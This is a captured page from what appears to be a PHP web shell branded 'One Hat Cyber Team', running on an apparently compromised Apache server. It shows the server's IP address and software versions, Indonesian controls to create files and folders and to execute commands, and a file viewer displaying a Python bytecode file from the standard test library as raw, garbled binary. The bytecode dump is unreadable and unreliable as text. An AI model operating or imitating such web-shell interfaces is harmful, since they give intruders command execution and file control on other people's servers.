⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.11
/
test
/
support
/
__pycache__
/
View File Name :
threading_helper.cpython-311.pyc
� ��hH � �� � d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlmZ d� Z d� Z d� Zej dd�� � Z dd�Zej dd�� � Z G d � d � � Zdefd�Z e� � Zd d�d�ZdS )� N)�supportc �d � t j � � t j � � � fS �N)�_thread�_count� threading� _dangling�copy� � �4/usr/lib/python3.11/test/support/threading_helper.py�threading_setupr s$ � ��>���Y�0�5�5�7�7�7�7r c � � d}t |� � D ]�}t j � � t j f}|| k r d S |srdt _ |d }t j d|d | d z � d|d � dt |� � � d�� � |D ]}t j d |��� � �d }d }t j d � � t j � � ��d S )N�d T� z&threading_cleanup() failed to cleanup r z threads (count: z, dangling: �)zDangling thread: �{�G�z�?)�ranger r r r r �environment_altered� print_warning�len�time�sleep� gc_collect)�original_values� _MAX_COUNT�count�values�dangling_threads�threads r �threading_cleanupr! s6 � ��J��z�"�"� � ����!�!�9�#6�6���_�$�$��E�E�� $�*.�G�'�%�a�y���!� #H�%+�A�Y���1C�%C�#H� #H�-3�A�Y�#H� #H� 03�3C�/D�/D�#H� #H� #H� I� I� I� +� F� F���%�&D�&�&D�&D�E�E�E�E� $����� �4����������+� r c �F � � t j � � � � fd�� � }|S )z�Use this function when threads are being used. This will ensure that the threads are cleaned up even when the test fails. c �Z �� t � � } �| � t |� S # t |� w xY wr )r r! )�args�key�funcs �r � decoratorzreap_threads.<locals>.decorator; s<